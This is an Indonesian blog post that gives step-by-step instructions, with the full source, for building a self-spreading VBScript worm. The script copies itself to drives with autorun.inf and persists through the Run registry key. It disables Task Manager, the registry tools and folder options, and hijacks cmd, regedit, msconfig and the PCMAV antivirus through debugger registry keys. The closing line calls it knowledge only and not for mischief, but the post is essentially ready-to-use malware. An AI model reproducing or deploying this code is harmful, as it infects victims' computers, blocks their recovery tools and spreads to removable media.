MEMBUAT VIRUS KOMPUTER BERBAHAYA

Bagi anda yang ingin membuat virus komputer, gampang kok caranya. paling satu menit dah jadi he..he. Ngak usah basa-basi. nich copy aja file dibawah ini ke Notepad. Tau Notepad kan? kalau ngak, klik aja start menu pada komputer anda klik All Program kemudian klik Accessories lalu klik Notepad.

langsung aja copykan file dibawah ini, dan paste kan ke Notepad:

on error resume next

dim rekur,windowpath,desades,fs,mf,isi,tf,kalong,nt,check,sd

isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe k4l0n6ms32.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do


Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & "\k4l0n6-x.dll.vbs ")
tf.attributes = 32
set tf = fs.createtextfile(windowpath & "\k4l0n6-x.dll.vbs",2,true)
tf.write rekur
tf.close
set tf = fs.getfile(windowpath & "\k4l0n6-x.dll.vbs")
tf.attributes = 39

for each desades in fs.drives

If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> "A:" then


set tf=fs.getfile(desades.path &"\k4l0n6ms32.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(desades.path &"\k4l0n6ms32.dll.vbs",2,true)
tf.write rekur
tf.close
set tf=fs.getfile(desades.path &"\k4l0n6ms32.dll.vbs")
tf.attributes = 39


set tf =fs.getfile(desades.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(desades.path &"\autorun.inf",2,true)
tf.write isi
tf.close
set tf = fs.getfile(desades.path &"\autorun.inf")
tf.attributes=39
end if
next

set kalong = createobject("WScript.Shell")

kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title",":: ->KALONG-X<- ::"

kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden",2, "REG_DWORD"

kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "1", "REG_DWORD"

kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "MASTER-MIND"
kalong.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","SOKOR KOE"

kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir", windowpath & "\batch- k4l0n6.dll.vbs"

kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger","notepad.exe"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger","notepad.exe"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger","notepad.exe"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger","notepad.exe"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger","notepad.exe"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger","notepad.exe"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger","notepad.exe"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger","notepad.exe"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger","notepad.exe"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger","notepad.exe"

if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject("Wscript.shell")
sd.run windowpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname

Setelah itu save as dengan [nama]vbs dan bukan Txt.

ini hanya pengetahuan saja, dan bukan untuk usil. karena virus ini cukup berbahaya karena menyerang sistem pada windows.

Ana Atthofunnisa'

HALLO SAHABAT BLOGGER | TERIMAKASIH SUDAH MAU BERKUNJUNG DI BLOG ONEPOIN, BAGI SOBAT YANG MAU COPAS ATAU MAU SALIN ULANG ARTIKEL INI BISA LIHAT DULU KETENTUANNYA DI MENU TOS YAH | TERIMAKASIH ATAS KERJASAMANNYA.

BERBAGI ITU INDAH

Dapatkan Update Artikel Terbaru langsung ke Email Kamu

ARTIKEL TERKAIT